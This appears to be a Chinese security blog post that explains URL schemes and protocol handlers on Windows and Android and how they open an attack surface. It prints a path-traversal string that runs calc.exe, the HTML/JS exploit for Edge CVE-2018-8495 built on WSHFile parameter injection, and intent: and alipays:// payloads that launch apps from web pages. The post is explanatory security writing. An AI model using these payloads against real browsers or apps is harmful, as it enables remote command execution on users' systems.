URL scheme简介

URL scheme是什么?简单的说就是部分app应用会注册自定义自己的协议,通过访问这类协议来调用启动app。url scheme的工作流程是:app在系统中注册url scheme项,当浏览器或其他支持url的应用访问 特定的 url scheme 时,在系统中查找相对应的url scheme项,从而启动该应用程序。基本上是各个平台的app都有。

例如

mailto:[email protected],thunder://xxxxx,tel:+18888888888,sms:18688886666,alipays://platformapi/startapp等等。当然还包括还有常见的file、dict、ftp,不过这里想说的是各类app应用程序的url scheme。

格式

[scheme]://[host]/[path]?[query]

使用场景

案例

windows平台下URL scheme会在注册表中注册,具体可参考
在注册表中像这样格式存在的

例如

HKEY_CLASSES_ROOT
   test
      (Default) = "URL:test Protocol"
      URL Protocol = ""
      DefaultIcon
         (Default) = "test.exe,1"
      shell
         open
            command
               (Default) = "C:\Program Files\test\test.exe" "%1"

假设test.exe是注册的应用程序,%1是占位符启动参数。通过url传递参数给目标程序。双引号是为了避免参数中存在空格。这样的形式就很容易通过拼接参数出现命令注入了。
HKEY_CLASSES_ROOT 下不仅保存了伪协议的列表,还有文件扩展名的关联数据。事实上 Win32 程序处理本地文件和 url 的打开是类似的,甚至可以使用同一套 Win32 API —— ShellExecute(Ex) 。算上 ANSI 和 Unicode 的版本,一共 4 个函数。
打开文件

ShellExecuteW(NULL, L"open", L"c:\\test.txt", NULL, NULL , SW_SHOW );

打开链接

ShellExecuteW(NULL, L"open", L"https://www.baidu.com", NULL, NULL , SW_SHOW );

ShellExecute可以有利用的两个点:
传入 url,却被解析成本地路径而变成打开文件甚至运行可执行文件;
其次是关联命令行里包裹参数 "%1" 的双引号可以被闭合掉的。

www.baidu.com..\..\..\..\..\..\..\..\..\..\..\windows\system32\calc.exe

windows系统在运行框输入,利用多个跳转符,后面的windows\system32\calc.exe会被当成文件执行,运行即可弹出计算器,当年QQ的远程命令执行漏洞也是这个exp

Edge 远程代码执行

edge(CVE-2018-8495),2018年10月Edge的远程代码执行漏洞,利用了WSHFile协议,通过参数注入,造成远程代码执行。
查看\HKEY_CLASSES_ROOT\WSHFile\Shell\Open\Command的值

WSHFile是指向了wscript.exe,wscript.exe是windows的内置的脚本解释器,可以通过WSHFile去运行一个脚本。
具体可看其漏洞分析,最后构造的exp如下:

<a id="q" href='wshfile:test/../../WinSxS/AMD921~1.48_/SyncAppvPublishingServer.vbs" test test;calc;"'>test</a>
<script>
window.onkeydown=e=>{
    window.onkeydown=z={};
    q.click()
}
</script>

这是一个例子,还有更多的例子如Electron导致vscode、网易云命令执行的例子,可以看先前分析

Android URL scheme

android上的Intent Scheme URLs攻击基于android浏览器桥梁间接实现Intend-Based攻击。可以读取文件或者启动调用的应用程序。

语法如下:

<script>location.href = "intent:mydata#Intent;action=myaction;type=text/plain;end"</script>

等价的java语法:

Intent intent = new Intent("myaction");  
intent.setData(Uri.parse("mydata"));  
intent.setType("text/plain");

例如:

<a href="intent:smsto:10000#Intent;action=android.intent.action.SENDTO;end">
   发送短信
</a><br>

<a href="intent:#Intent;action=android.media.action.STILL_IMAGE_CAMERA;end">
   打开相机
</a><br>

使用Intent Scheme就可以通过浏览器调用android上的应用。

还有一类就是第三方的URL Scheme,来启动android上的app。以打开某些网页会启动支付宝到抢红包界面为例

<html>
<script>
window.location.href='alipays://platformapi/startapp?saId=10000007&clientVersion=3.7.0.0718&qrcode=https%3A%2F%2Fqr.alipay.com%2Fc1x05309e4ttz2v7xrwrzcd%3F_s%3Dweb-other'
</script>
</html>

效果如下

只是这里的qrcode失效了,所以领取失败,换成自己的就可以了。
更进一步的就是之前的支付宝应用克隆,不过它除了伪协议,还利用了webview跨域,和APP的setAllowUniversalAccessFromFile URLs值为true,导致File协议可跨域读取文件。具体分析可参考

总结

URL scheme是为了操作系统、浏览器、应用方便交互设计,但操作系统不同、URL scheme功能不同,会导致存在安全问题。尤其是利用浏览器或者应用程序存在的漏洞,来攻击操作系统,扩大攻击面。

参考

源链接

Hacking more

...